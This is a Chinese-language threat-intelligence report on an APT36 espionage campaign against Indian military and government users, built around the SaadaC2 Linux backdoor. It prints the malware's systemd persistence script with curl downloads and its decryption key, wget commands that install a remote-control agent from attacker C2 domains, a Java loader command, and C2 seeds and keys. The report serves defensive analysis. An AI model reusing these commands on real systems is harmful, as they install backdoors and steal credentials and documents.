捕捉到来自南亚的信号:APT36针对印度的最新行动“415-x56”分析 - 修改版 - bak

捕捉到来自南亚的信号:APT36针对印度的最新行动“415-x56”分析 - 修改版 - bak

一、概述

1. 事件背景

近期我们发现了一起由 APT 组织 APT36 发起的针对印度军方的攻击行动,事情起因于在 2025 年 3 月 12 日发现的一个 0 检测率的 ELF 文件,经过分析是个精心设计的后门,具有窃取浏览器密码、窃取各类文档、远程控制机器以及执行任意命令等功能。通过分析样本中的信息以及该样本的行为特征等线索,我们可以确认此次行动归属于 APT36。

“APT36”,又称 Transparent Tribe、Mythic Leopard、C-Major,中文名为“透明部落”,长期以来以印度政府、国防军事和外交人员及相关机构作为主要攻击目标,长期活跃于南亚地区的网络攻击活动中。其武器库涉及 Windows、Linux 和 Android 等多个平台,比如 Ares RAT、Action RAT、AllaKore RAT、Reverse RAT、Margulas RAT 等,常用 Python、Golang 和 Rust 等跨平台语言进行开发,并滥用 Telegram、Discord、Slack 和 Google Drive 等热门网络服务,是一个非常活跃且不断演变的威胁组织。另一个 APT 组织 “SideCopy” 在目标和技战术上与 APT36 存在很多相似之处,通常被认为是 APT36 的下属组织或关联组织。

尽管此次行动中看到的受害者数量不多,但通过查询受害者 IP 所在的区域,我们发现全部来自于印度,通过进一步分析该后门窃取的资料,我们发现受害者几乎全部与印度政府、印度军队等部门高度相关。攻击者所窃取的资料文件日期较新,且不乏各类敏感信息,比如各类政府网站的用户登陆密码、财政采购订单、机票火车票、出行计划、军官晋升培训安排等,甚至还有以国防部长开会纪要来命名的文件。部分文件展示如下,敏感信息太多已经尽量打码。我们并不保证这些文件的真实有效性,只是根据合理的逻辑推断来描述我们主观看到的情况。

StolenData.jpeg

我们将此次攻击行动的代号取名为 “415-x56”:一是首次发现的样本编译路径中看到了用 “415” 来命名该项目,二是在样本和各类中间文件的路径里多次看到了 “x56_” 结构的字符串,比如核心载荷文件名为 “x56coreinfo”,释放路径为 “.x56_32-linux-gnu” 等,因此我们将此次行动代号命名为 “415-x56”。由于用到的核心后门叫做 “SaadaC2” 且字符串 “Saad” 被大量使用,因此也可以称之为 “Saad” 行动。事实上后来我们还发现了新样本修改为 “419-x96” 的格式,但还是统一使用最先发现的 “415-x56” 来代替。

2. 整体过程

在本次事件分析中,我们最初发现了一个 Linux 可执行文件,经过深入研究,确认其为 APT36 新开发的后门工具 “SaadaC2”,使用了新的 C2 服务器以及一些新的功能,比如窃取浏览器密码和会话信息、窃取各类文档、远程控制机器以及执行任意命令。通过对攻击者所窃取文件的分析,我们获取了大量受害者相关的数据,并确认其目标为印度,进一步搜索 C2 服务器、样本字符串等相关线索后,我们将此次行动确认归属于 APT36。本文将详细解析 “415-x56” 行动中涉及的文件及其关联的威胁情报,并基于现有证据勾勒出受害者的画像,并推测攻击行动的时间线,以下是此次行动的简单描述,具体细节详见样本分析部分。

xxxxxx.jpg

二、行动开始时间与样本投递方式

行动开始时间:
从样本编译时间以及所窃取文件的时间来看,APT36 的本次行动时间在 2024 年底到 2025 年初左右,所以该行动从立项到执行至少已经持续了 3 个月。

投递方式:
我们只捕获到了后续的样本文件,没有最初样本投递方式的视野,但结合之前大量关于 APT36 针对印度的投递手段,最常用的就是钓鱼邮件和水坑网站,比如围绕国防相关新闻和事务类型的主题以及使用美人计诱饵类型的主题等。

三、感染情况

可能由于这是一次瞄准印度高层的针对性攻击,目前看到的受害者数量不多。得益于从样本中获取到的 Google Drive 配置以及分析得到的开放目录网站,我们可以从三个方面判断感染情况,一是参考云端以受害者机器的主机名来命名的文件夹,二是 C2 关联网站上的机器名,三是追踪新后门使用的 NKN 网络的节点。从我们的视野来看,受害者机器的数量在 80 台左右。

1. Hostname from Google Drive

从存放窃取数据的目录名称来看,去重后有二十多个不同的主机名称,这说明至少有二十多名用户受到影响,部分举例如下。R- 表示 root 用户,U- 是普通用户。

hostname_image-20250318165728101.png

2. Hostname from Open Websites

目前看到了以下四个可访问的网址,受害者数量去重后有 73 个,我们认为我们所捕获到的样本只是此次行动中的一个分组,理论上目前至少存在四组具有相同功能的样本,包含了四组不同的 Google Drive 配置,我们最初看到的是 415 分组。

414.*.org
415.*.org
419.*.com
1s1.*.org

3. 追踪 NKN 网络节点

由于 NKN 网络工作的特性,如果利用掌握的多对 Seed 和 ControlID,可以轻松伪装成控制端来监听受害者的连接。

四、受害者画像

根据分析得到的文件来看,攻击者窃取了很多敏感信息,且由于几乎所有文件都存放于以受害者机器名来命名的目录,我们可以大致勾勒出这些受害者的画像。整体来看这些数据分为两类,一是 Firefox 浏览器保存的各种密码,二是各类机密文件。以泄露的酒店订单来说,如果攻击者掌握了这些信息且提供给印度的敌对势力,那么完全可以针对这名受害者发起针对性的间谍行动。以泄露的军方项目文件来讲,则可以了解印度最近某些重要的项目计划。

泄露的密码包括但不限于以下网站:

websites.jpg

泄露的文件包括但不限于以下内容:

filess.jpg

受害者举例

以主机名为 “Y11*LK” 的这台机器为例,泄露的文件内容有“国防部电力和特殊项目季度工作审查委员会的会议纪要“、“军事工程服务总部关于季度工程审查委员会会议的记要及相关项目的推进情况“、“军事工程服务部门的山地指挥工程师总部工作月报表“、“跟踪和管理多个建筑工程项目的信息确保每个项目得到充分记录和监督”等,因此这个人的职责可能与军事工程项目管理或国防工程监督相关,以下是一份从该机器上传的疑似是军事工程项目的进度报告。这名受害者的 Fireforx 浏览器中保存的印度政府官方电子邮件服务网站的登录密码也遭到泄露,如果登录上去恐怕可以获取到更多机密数据,而且不止这一名受害者的邮箱密码遭到泄露。

work_plan.jpg

五、确认是 APT36 的证据

因为攻击用到的新后门 SaadaC2 使用 Golang 进行开发,所以样本中会保留代码的开发路径,我们收集到了下面三个路径,可以看到开发机器的用户名为 “hackerex”,开发的项目统一保存在 “saadac2” 这个目录里,后门代码则存放在 “new_415” 这个项目下,“415“ 表示什么呢?我们认为可能是地区代号或者是此次行动代号。

/home/hackerex/Desktop/saadac2/new_415/intermediate/intermediate_ob.go
/home/hackerex/Desktop/saadac2/Disposible Bug/new_415/config/config.go
/home/hackerex/Desktop/saadac2/new_415/Delivery Passwd/auth/Authentication_ob.go

2024 年 Volexity 曾经发现过一起同样疑似该组织威胁者针对印度政府发起的攻击行动,用到的恶意软件是 DISGOMOJI,样本中的路径同样包含了 “hackerex”,且 Blackberry 在 2024 年 5 月的一篇博客文章中提到过 DISGOMOJI 恶意软件,确认这是 APT36 的工具,该工具所使用的文件名称、内置开发路径以及部分功能和 SaadaC2 存在相似之处,因此我们确定 SaadaC2 就是 APT36 组织新开发的后门。

/root/.x86_64-linux-gnu/vmcoreinfo
/home/hackerex/Desktop/discord-c2/test/main/finalizing/Deliveries/ob_Delivery.go

以上是直接的证据来证明这是 APT36 的新活动。其他的辅助证据其实从以下将会提到的行为特征来看,也让我们十分有信心给出确定的结论,比如针对印度政府机构、滥用 Google Drive、窃取 Firefox 浏览器密码和会话信息等,这些都是 APT36 的行为特点。

六、样本分析

“415-x56” 的核心是一款使用 Golang 编写的后门,名字为 “SaadaC2”,该后门在执行过程中大量使用了 Google Drive 的存储服务,一是用于下载所需要的解密器和加密数据,二是用于上传窃取的各类文件和密码。在运行过程中也颇为小心,每一阶段产生的文件包括样本自身在执行起来后都会自我删除,窃取的数据在上传到云端之后也会在本地删掉。“SaadaC2” 具有如下五个功能:

  1. 窃取 Firefox 浏览器保存的密码
  2. 窃取各类文本/文档类型的文件,包括本机和移动存储设备
  3. 下载 MeshAgent 使受害者机器被远程控制
  4. 将受害者机器加入 NKN 分布式网络,连接远程控制节点等待命令执行
  5. 下载带恶意插件的 Firefox 压缩包窃取指定网站的 Cookie 信息

以下是样本执行流程:

workflow_x.jpg

1. Stage1:Loader

入口文件的名字叫做 intermediate.txt,这是一个使用 Golang 编写的加载器,且主要函数的名称经过混淆,运行后会从 Google Drive 服务器下载一个解密器 ec.txt 和一个加密文件 x56coreinfo.txt,ec.txt 在本地保存为 /opt/.x56_32-linux-gnu/ec,x56coreinfo.txt 则保存为 /opt/.x56_32-linux-gnu/x56coreinfo。

解密器 ec.txt:
https://drive.google.com/uc?export=download&id=1MZqE1kIo6Q5eI2CQ0o8dGWHxGVIzzBM4
Created: 2025-03-02T00:05:34.170Z
Modified: 2025-03-02T17:54:50.039Z

加密文件 x56coreinfo.txt:
https://drive.google.com/uc?export=download&id=1KK45pYzBF5CF6hO_iw0MMMPZUEIy4fR7  
Created: 2025-03-02T00:04:21.336Z
Modified: 2025-03-12T00:57:46.911Z

intermediate.txt 具有持久化的功能,会释放一个服务脚本 /etc/systemd/system/x56sockets-service.sh 和一个系统服务文件 /etc/systemd/system/x56coreinfo.service。x56sockets-service.sh 用于从云端下载解密器和加密的下一阶段的 ELF 数据,并运行解密后的新文件,x56coreinfo.service 用于保证 x56sockets-service.sh 作为服务在后台运行。

x56sockets-service.sh 内容如下。

#!/bin/bash

cd "$HOME"

javb0x71f2qvg8l1jyry="%s"
GNURL="%s"
jxv8ksencsgsq8ctusxp="%s"

if [ ! -d "$javb0x71f2qvg8l1jyry" ]; then
    mkdir -p "$javb0x71f2qvg8l1jyry"
fi

cd "$javb0x71f2qvg8l1jyry" || exit 1

if pgrep -x "x56coreinfo" > /dev/null; then
    exit 0
fi

# Download only if BOTH "x56coreinfo" and "ec" are missing AND "x56coreinfo" is not running
if [ ! -f "x56coreinfo" ] && [ ! -f "ec" ] && ! pgrep -x "x56coreinfo" > /dev/null; then
    curl -L -o "x56coreinfo" "$GNURL" >/dev/null 2>&1 &
    curl -L -o "ec" "$jxv8ksencsgsq8ctusxp" >/dev/null 2>&1 &
    wait
    chmod +x "x56coreinfo"
    chmod +x "ec"
fi

"./ec" -f x56coreinfo -d -k 'Kavach0fficialDB' >/dev/null 2>&1
"./x56coreinfo" > /dev/null 2>&1
cd "$HOME"

x56coreinfo.service 内容如下。

[Unit]
Description=x56coreinfo Service
After=network.target

[Service]
Type=simple
ExecStart=/etc/systemd/system/x56sockets-service.sh
Restart=always
RestartSec=5
User=root
WorkingDirectory=/etc/systemd/system/

[Install]
WantedBy=multi-user.target

执行完上述功能后,程序会自我删除。

2. Stage2:Decrypter

从上述 x56sockets-service.sh 脚本中可以看到解密器的使用方法:

"./ec" -f x56coreinfo -d -k 'Kavach0fficialDB'

实际上 ec 使用了 “SHA256 + RC4 + AES-GCM“ 的算法对 x56coreinfo 进行解密。以下是 x56coreinfo 的开头部分,存在一个 “ENCRYPTED:” 标记,如果找不到这个标记程序会自动退出,标记后面的数据就是密文。ec 首先对字符串 “Kavach0fficialDB“ 进行 SHA256 计算得到一个 32 字节的 key,然后用这个 key 对密文进行 RC4 解密,RC4 解密后的数据再连续进行两次 AES-GCM 解密,AES 使用的 key 和 RC4 的相同,这样就得到了第三阶段的 ELF 程序,也就是 SaadaC2。解密器执行完毕后同样会自我删除。

ENCRYPTED_stage2.png

3. Stage3:SaadaC2

在 SaadaC2 的执行过程中多次涉及 Google Drive API 的使用,所以这里解释以下什么是 Google Drive,可以理解为 Google 提供的一项类似 OneDrive、Amazon S3 等产品的云存储服务。

Google Drive 是 Google 提供的一项基于云的文件存储和同步服务,允许用户在云端存储、共享和协作处理文件。它支持多种文件类型,包括文档、图片、视频等,并与 Google Docs、Sheets、Slides 等办公工具深度集成,使团队成员可以实时协作编辑。Google Drive 提供强大的访问控制功能,用户可以根据需要设置文件权限,如查看、评论或编辑。此外,Google Drive 还具备版本历史、文件恢复和强大的搜索功能,支持通过关键字、文件类型甚至 OCR 文字识别来查找文件。开发者可以使用 Google Drive API 来构建应用,实现文件上传、下载、搜索、权限管理等功能,满足自动化、备份和数据集成的需求。

通过逆向我们获取了保存在样本中的认证配置信息,这是我们进一步了解该行动的关键所在,因为有了这个配置,我们可以尝试访问存储在 Google Drive 上的所有信息,这使得我们具备了访问 APT36 云端数据的能力。

google_drive_api.png

3-1. 窃取 Firefox 浏览器保存的用户密码

这个功能通过开源的窃密脚本 firefox_decrypt.py 来实现,该脚本是一个 Python 工具,专门用于解密和提取 Firefox 浏览器中保存的密码,它通过访问 Firefox 配置文件中的加密数据库来提取已保存的凭据,该工具通常用于取回丢失的密码,支持多种 Firefox 版本,并可在不同操作系统(Windows、Linux、macOS)上运行,脚本地址如下。

https://raw.githubusercontent.com/unode/firefox_decrypt/refs/heads/main/firefox_decrypt.py

SaadaC2 会下载该脚本保存为 gnulib.py,然后使用 python 执行,执行后能够得到类似下面的账号数据。

Firefox_pwd_stealer_example.png

拿到密码后,SaadaC2 执行 hostname 命令获取主机名称,拼接字符串 “-firefox.txt“,然后查询当前用户是否具有 root 权限,以确定在最终的文件名前面追加 “R-” 还是 “U-”,最后以该字符串创建一个存储浏览器密码的文件,密码文件示例如下。因为存在脚本执行失败或者用户没有安装 Firefox 浏览器的情况,所以有窃取失败的概率,导致部分文件是空的。之后 SaadaC2 通过 Google Drive API 把这些密码文件上传到云端,上传完成后,删除本地密码文件以及窃密脚本。

firefox_password_file_list.jpg

3-2. 窃取各类文件

SaadaC2 会窃取用户的各类文件,包括图像文件、MS Office 文件、LibreOffice 和 PDF 文件,详细列表如下。

".doc"
".docx"
".pdf"
".xls"
".xlsx"
".ppt"
".pptx"
".jpg"
".jpeg"
".odt"
".ods"
".odp"

一旦通过后缀匹配到文件,就会调用 Google drive API 将其上传到云端的一个名为 415 的目录下的子目录 exfiltration 当中,攻击者在该目录下为每个受害者创建了一个专属的目录,目录名的格式和存储 Firefox 浏览器密码的文件名格式相同,都以 hostname 命名。

steal_files.png

除了窃取本机的文件以外,SaadaC2 还会通过读取 /proc/mounts 来获取当前挂载点的详细信息,然后尝试访问 /media 和 /run/media 来窃取可移动设备中的文件,在移动设备中窃取的文件会在文件名前面追加一个 “UZB_” 字符串前缀,比如:

UZB_MoM_of_Meeting_Held_by_Defence_Secretary_on_18_November.pdf
UZB_Pension.docx

事实上该行为和之前 APT36 的行为有些类似,此前 Zscaler 在 2023 年发现 APT36 使用一款基于 Python 的 ELF 程序来窃取 /media 中的文件,叫做 GLOBSHELL,该工具还有一些变种,叫做 Bashd、basho 和 bashu。推测是目前 APT36 找到了新工具 firefox_decrypt.py 以实现相同的功能。

3-3. MeshAgent

SaadaC2 为了控制受害者的机器,还会进一步下载远控软件 MeshAgent 运行。

MeshAgent 是一个使用 C/C++ 编写的开源远程管理代理,作为 **MeshCentral **平台的重要组成部分,遵循 Apache 2.0 许可证发布。它具有轻量级、高效稳定的特点,能够在嵌入式设备、服务器、工作站等多种环境中运行。MeshAgent 负责在受控设备上执行指令、传输数据并维持与 MeshCentral 服务器的通信,支持远程桌面、文件管理、终端访问等功能。其开源特性确保代码透明,便于安全审计及定制开发,广泛应用于企业管理、IT支持及安全研究等场景。尽管 MeshAgent 本身并不具有恶意,但威胁行为者越来越多地利用它建立受感染系统的持久后门,从而通过 VNC、RDP 或 SSH 等协议实现远程访问和控制。

MeshAgent 一般会配合 MeshCentral 一起使用,MeshAgent 作为受害者即受控端,MeshCentral 则被攻击者所控制。MeshAgent 此前曾被 UAC-0185(UNC4221)组织、LilacSquid 组织、Lazarus 的下属 Andariel 组织等所使用,以下是 MeshCentral 的官网界面。

meshcentral.png

SaadaC2 使用下面的方法来安装和执行 MeshAgent。

wget -O kavach --no-check-certificate "https://saadac3.*.org/meshagents?id=JEV2YwGY8a5qG5mKayrgQgvzlPXkeCeYbGDYA2Nkwch8VIoaRSQtV3CbSsHBfnB4&installflags=0&meshinstall=6" -q && chmod +x kavach && ./kavach -connect &>/dev/null &

根据 MeshAgent 的部署方式,上述指令中的 URL 一般由 MeshCentral 生成, saadac3.*.org 就是运行着 MeshCentral 服务端的地址。MeshAgent 样本文件由 MeshCentral 服务器生成并提供给攻击者,在生成 MeshAgent 的时候,MeshCentral 会把服务器的地址以及用户口令等信息保存到 MeshAgent 样本里,在 MeshAgent 执行的时候会在自身数据里搜索这些信息并释放出一个配置文件到本地,以方便使用者查看或者后续修改。通过对 MeshAgent 文件的逆向我们发现了嵌入在样本里的配置信息。MeshName 是 “415”,这是我们第二次提到 “415” 这个字符串。

{
    "MeshName":"415",
    "MeshType":"2",
    "MeshID":"0x244576630198F1AE6A1B998A6B2AE0420BF394F5E47827986C60D8036364C1C87C548A1A45242D57709B4AC1C17E7078",
    "ServerID":"B09BEAD6EBD23589FA44F70A545D762C23C342819601C21EE60BA9C46294658E0CB67ACD00064602F2D03114E58FBD4B",
    "MeshServer":"wss://saadac3.*.org:443/agent.ashx", 
    // ...
}

3-4. NKN

SaadaC2 除了使用 MeshAgent 来控制受害者机器以外,还会将受害者加入到 NKN 网络,这是一个基于区块链技术开发的去中心化网络,APT36 的目的是为了在受害者机器上远程执行任意 shell 命令,实际上 MeshAgent 也能实现相同的功能。

NKN(New Kind of Network) 是一个出现于 2018 年的基于区块链技术的去中心化数据传输网络,旨在通过共享带宽和网络资源来构建全球 点对点 (P2P) 通信网络。NKN 的核心理念是利用空闲的网络资源来构建一个分布式的、无需信任 (trustless) 的通信平台。NKN 是一个去中心化的 P2P 数据传输和通信网络,利用区块链技术和经济激励机制,让全球用户共享闲置带宽,构建更安全、高效的互联网通信。它采用端到端加密,提供去中心化传输,优化数据路由,提高隐私和安全性,同时通过Token奖励激励用户参与。NKN 可用于去中心化应用(dApp)、远程访问、分布式聊天和物联网(IoT)通信,被视为下一代互联网通信基础设施。

以下是 NKN 网络关于自身规模的官方统计,目前整个 NKN 网络所有节点数大概在五万到七万之间波动。实际上越来越多的攻击者也在利用类似的开放网络的匿名且难以追踪的特点来构建自己的基础设施,此前卡巴斯基曾揭露过一个利用 NKN 网络进行 DDoS 攻击的恶意软件 NKAbuse,目前没有发现 APT36 和 NKAbuse 之间存在关联。

nkn.png

SaadaC2 利用 NKN 项目提供的 SDK,自己实现了一个简单的 Go-NKN-C2 功能内置在样本当中。

nkn-c2.png

假设受害者机器为节点 A,攻击者机器为节点 B,在 NKN 网络中节点 A 要想准确找到节点 B,只需要知道节点 B 提供的唯一标识即 MonitorID(也可以叫做 ControlID),格式为 “monitor.xxxx...“。这个 MonitorID 根据一个 Seed 计算得来,Seed 可以是攻击者自己知道的任意字符串。随后节点 B 只要自己上线即可,MonitorID 会自动公布到 NKN 网络中。

SaadaC2 首先在本地尝试加载配置文件 config.json,如果找不到则从 Google Drive 的 “415“ 目录下载 ControlID.txt 文件,这是我们第三次提到 “415“ 这个字符串了。我们目前发现了五个 Seed,以下是 Seed 和对应的 ControlID。

2024.12.31
Seed: 239b3dbb24001b9736175eeb*9a8f91c7bad00e1ef7a576b12
ControlID: monitor.dde70bf0c2f73b*fcb253ec92ba7d8406963d0d15e1ebd7588d826c

2024.12.31
Seed: 709b5936bf882d717dcd1c3b1a5a*cb95160460e89baf65e5207b7
ControlID: monitor.dccea4c8f05c32*193476ad032be0d4745b042ecc15d3cd0ab43a7

2025.1.19
Seed: 464349312d79570cbebd751338*e2686188c7a73187f83fc1891e7
ControlID: monitor.783226c99606*07bfe620784eff2c684208a4a3fa2fb4c089

2025.3.4
Seed: b8422bf3654319f46e00303487*471c22082eacf7a3f1b915bc621b
ControlID: monitor.0ea1bbc39c705*92dbe43cdb6126db2cbe80a3bb907b43e026c

2025.3.18
Seed: 1353b5c1031238626cb9669780*0098bfe8158bc2e1fd6c4e8ea713
ControlID: monitor.e1a4d98ecb00*97d2cdd353280d7285f968bc7aa89433db05f15

SaadaC2 拿到了 ControlID 之后,开始在 NKN 网络中搜索并连接 APT36 部署的控制端,同时发送一段明文上线包,内容包括“hostname”、“设备公网地址”、“设备内网地址”、“设备 MAC 地址”、“当前时间”和“操作系统类型”,举例如下。

R-133251078D 182.69.x.x|192.168.1.10|10:78:d2:c6:0c:59|1741837599|linux

成功连接到控制端后则等待下发 shell 命令在本机执行,shell 命令通过 AES-CBC 算法加密,key 如下。

-=[].!@#$%^&*()_+{}|:<>?

最后把命令执行结果响应给控制端。

SaadaC2 还会尝试窃取用户在访问 https://emali.gov.in 时的浏览器 Cookie 信息。具体方法是首先判断用户是否具有 root 权限,如果是则下载并解压一个带恶意插件的 Firefox 浏览器压缩包到用户机器上,在解压之前会删除已安装的浏览器目录 /opt/firefox 和 /opt/firefox-esr。压缩包链接如下但是已经失效,从 Google Drive 上的文件来看,可能是一个名为 firefox_portable.zip 的文件,该压缩包包含一个 Linux 版本的 Firefox 浏览器。

https://drive.usercontent.google.com/download?id=1TqPzjwvRirB5U_V9NNjhpYC53hYtd4qu&export=download&authuser=0&confirm=t&uuid=cd9cfd85-7c03-477a-9fb0-4ad21f57bfe6&at=APvzH3rEkWcwFcHIBdgTh6QqP9BD%3A1735665517449

解压之后,在 firefox/Extension 目录下有一个 background.js 脚本,其功能是监控 Firefox 浏览器打开的 https://emali.gov.in 网站,sendCookiesToLocalhost() 函数会将收集的 UUID 和 Cookies 通过 HTTP POST 请求发送到 http://46.x.x.236/cookies-handler.php 。

fake_firefox.png

事实上该行为也能对应到 APT36 之前的行为特征,Zscaler 在 2023 年发现了 APT36 使用 Python 编写的一款 ELF 工具,将其命名为 PYSHELLFOX,功能同样是窃取用户的 Firefox 浏览器会话信息,且包含了相同的目标网站。

4. 扩展搜索

在掌握了这个样本之后,我们从样本文件名、字符串以及 C2 地址出发进行搜索,搜到了一些其他相关数据。

4-1. authentication.txt

这个文件的创建时间是 2025 年 3 月 2 日,用 Golang 编写,实际是 SaadaC2 的前置加载文件,主要功能是下载下面这个 URL 指向的 Java 程序到本地执行。

https://drive.google.com/uc?export=download&id=1d4l4izEQqgPO8Dab77xpApSTB8khSq0N

Java 程序会被保存为 “$HOME/.config/x56-dependencies.jar”,然后执行下面这段命令来运行。这个 Java 程序的名字是 ServiceManager.txt,创建时间也是 2025 年 3 月 2 日。

if [ ! -f "%s" ]; then
    curl -L -o "%s" "%s" >/dev/null 2>&1
    cd "$HOME"
    if ! pgrep -x "x56coreinfo" >/dev/null; then
        nohup sh -c 'cd "$HOME/.config" && sudo java -jar %s > /dev/null 2>&1 &' >/dev/null 2>&1
    fi
fi

其余功能也是下载刚才的 Stage1 和 Stage2 执行,相同的操作。

2)ServiceManager.txt

Java 程序的功能比较简单,就是下载 intermediate.txt 文件执行,即 SaadaC2 的 Loader 文件。

Java_loader.png

这说明 SaadaC2 还曾尝试过增加一个 Stage 的 Loader。

4-2. saadac2.*.org

我们还搜到了另外两个旧版本文件,一个名叫 x56coreinfo 的文件是加密的 SaadaC2 数据,但是用密钥“Kavach0fficialDB”解密不成功,可能原因是旧版本的 key 和新版本的 key 不同。另一个名叫 x56coreinfo.exe 则是明文的 Golang 程序,根据密文比明文数据大 66 个字节的状态来看,x56coreinfo.exe 就是 x56coreinfo 的明文文件,main 符号也没混淆,功能几乎和新版本一样,只是安装 MeshAgent 的方法不太一样,安装命令行如下。从安装命令来看我们又获取到了一个新的 C2:saadac2.*.org。

(wget "https://saadac2.*.org/meshagents?script=1" --no-check-certificate -O ./meshinstall.sh || wget "https://saadac2.*.org/meshagents?script=1" --no-proxy --no-check-certificate -O ./meshinstall.sh) && chmod 755 ./meshinstall.sh && sudo -E ./meshinstall.sh https://saadac2.*.org '5zhaiBddtZChM3FnEtwM9iF8EgJIENo6xmCbxiYPFDfaVF$FXpYp5CTjgOPLfQEJ' || ./meshinstall.sh https://saadac2.*.org '5zhaiBddtZChM3FnEtwM9iF8EgJIENo6xmCbxiYPFDfaVF$FXpYp5CTjgOPLfQEJ'

根据新发现的 C2 搜索样本,我们该域名与以下 Windows 版本的 MeshAgent 样本进行通信,文件名都是C:\Program Files\Mesh Agent\MeshAgent.exe,文件创建时间都是 2022 年 12月 9 号,MeshServer 都是 MeshServer=wss://saadac2.*.org:443/agent.ashx。

2025.3.15 a74837d80642f54d08e1ac526baa5d3fd13b0693bd219a32738f5b4a2d5d1def
2025.3.14 bcaa0e9bb5b4939df9beba44f710eadc5f97676c2237159629618662ff9e6969
2025.1.8 3a8c682b05eda3d33d6927d1ee4867c4f29c8ab5aa5d2ad1b7fd2cd8d6a93e57
2024.10.30 c8424e3090c9fb850601f1ae61e30244cffd619f4b743f289489fd9dd7d8fb35

这个域名解析到 185.208.x.x,归属地是美国,历史上还被以下域名解析过,除了已知的 saadac2.*.org,其他域名都被 Redtail XMRig 挖矿病毒访问过,但这些域名不止解析到这一个 IP 地址。不排除他们有过部署挖矿病毒的经历。另外在 2022 年 2 月 3 日还从这个 185.208.x.x 服务器上下载过一个用于安装和卸载 MeshAgent 的脚本 /tmp/meshinstall.sh。这说明这个 IP 至少从 2022 年就涉及 MeshAgent 的使用。

2024-10-16 saadac2.*.org
2024-05-28 proxies.insanecppdev.com
2024-05-28 proxies.insanitycpp.cx
2024-05-28 srv.insanitycpp.cx
2024-05-28 proxies.identities.network
2024-05-28 srv.identities.network
2024-05-28 backup.identitynetwork.top
2024-05-27 srv.identitynetwork.top

4-3 saadac3.*.org

这个域名有如下两条解析记录,其中第一个 IP 关联到了一个域名 “414.*.org”。

2025-03-11:145.223.x.x
2025-02-23:16.171.x.x

这个新发现的域名除了解析到 “145.223.x.x” 之外,在 2025 年 3 月 29 号我们还发现这个域名解析到了一个新的 IP:“51.20.x.x”,这个新发现的 IP 又同时被 “414.*.org” 和 “419.*.com” 所解析,当我们在浏览器中输入这两个域名,出现了如下的画面,这对应了我们上述的分析结论,这里保存的就是从受害者机器窃取的密码和各类文件,甚至可以远程操控受害者的机器。我们实在是不理解为什么要采用这种开放目录的形式来存放文件,甚至连密码都没有,这让我们认为其专业性有待提高。

414.jpg

七、螳螂捕蝉,黄雀在后

上述提到过我们掌握了几个 C2 地址,当我们通过浏览器尝试直接访问时,我们看到了这个画面。确定了此次攻击行动的工具就叫做 SaadaC2,图片里标注了后台名字为 Saada C2 ,角标为 Fuxnet 2.0,目前已经改为 Fuxnet 3.0。

c2_image-20250316155217351.png

通过分析攻击者存放在云端的数据文件,我们找到了后台的登录密码。后台里保存了更多的数据,比如攻击者、受害者使用的详细设备信息、登录地 IP 信息、各种操作日志等。这个后台实际是用于接收 MeshAgent 连接的 MeshCentral 后台管理系统,功能和其他远控软件类似。比较奇怪的是语言设置为了俄语,这不得不让我们通过翻译才能了解一些功能的具体含义。

c22-image-20250317104920899.png

如下图所示是攻击者在 2025 年 3 月 19 日从受害者机器上下载了几份文件,这几份文件大概的主题是“回复 DAS 的技术观察情况,涉及 AK-203 突击步枪的 3213 个夜视仪和 3024 个头盔夜视仪的采购事项,以及供应商对技术观察的回复情况”。

2025.3.19从受害者机器下载文件打码_Snipaste_2025-03-20_17-22-39.jpg

攻击者机器的详细信息如下,使用的是黑客常用的 Kali Linux 系统。

c24-image-20250317111104011.png
c25-image-20250317111339743.png

按照 hostname 来计算的话,后台一共控制着 57 台机器,涉及 58 个不同的登录 IP,其中半数左右的 IP 归属地为印度,另外一半的归属地涉及美国、欧洲以及中东等部分国家。这些机器中包括了攻击者自己的电脑,因此我们认为可能并非所有的机器都是受害者。这些机器被分为了 5 组:Backup Tunnel、Boss、Boss 414、Boss Multan、Windows。操作系统包括 Windows 和 Linux 双平台,具体系统类型有 BOSS GNU/Linux、Microsoft Windows、Ubuntu,包括 18 个不同的版本,部分数据如下。

来自印度的 IP 所对应的机器的操作系统几乎全部是 BOSS GNU/Linux 10。经过查询,BOSS GNU/Linux 10 是一种基于 Linux 的操作系统,全称是 “Bharat Operating System Solutions (BOSS) GNU/Linux“,由印度政府下属的高级计算发展中心 C-DAC(Centre for Development of Advanced Computing) 研发,主要面向印度本土机构,包括政府、军方、教育部门以及普通用户,旨在推动印度本土化的操作系统,以减少对国外专有系统的依赖,提升信息安全。

c26-image-20250317122650748.png

结论

尽管 APT36 长期针对印度发起攻击且存在较高的成功率,但是在某些技术细节上存在缺点,显得专业性不足且安全意识薄弱。以本次攻击行动来说,比如在样本中硬编码 Google Drive 秘钥,使得攻击行为容易被安全研究人员逆向分析和溯源;比如开发者自身忘记从云端删除敏感文件,暴露了自身信息;比如基础安全措施不到位,使用开放目录网站存放文件,缺乏必要的清理和伪装,导致只要掌握网站地址,任何人都能轻易下载并分析这些文件,增加了攻击活动暴露的风险。

最后,虽然多数 APT 组织的攻击手法并不总是先进,但精准的目标选择和长期的攻击策略依然导致了严重的后果,这一威胁值得高度警惕。各国政府及各行业需要全面加强网络安全防护,构建更完善的安全体系,以减少此类攻击的影响。具体措施比如加强安全教育,提高工作人员的网络安全意识,减少因人为失误导致的入侵成功率;部署先进的安全防护产品,结合威胁情报、行为分析等手段,及时检测 APT 攻击活动;强化访问控制和数据安全策略,减少高价值目标暴露面,避免黑客轻易获取关键信息等。

IoC

saadac3.*.org
saadac2.*.org
414.*.org
415.*.org
419.*.com
ryzen9hx.*.com
1s1.*.org

185.208.x.x  Switzerland|Bern|Bern  AS42624|Global-Data System IT Corporation  
145.223.x.x  Germany|Hesse|Frankfurt am Main  AS47583|Hostinger International Limited  
46.202.x.x   Germany|Hesse|Frankfurt am Main  AS47583|Hostinger International Limited  
16.171.x.x   Sweden|Stockholm|Stockholm  AS16509|Amazon.com, Inc.  
51.20.x.x    Sweden|Stockholm|Stockholm  AS16509|Amazon.com, Inc.  
13.48.x.x    Sweden|Stockholm|Stockholm  AS16509|Amazon.com, Inc.  
16.171.x.x   Sweden|Stockholm|Stockholm  AS16509|Amazon.com, Inc.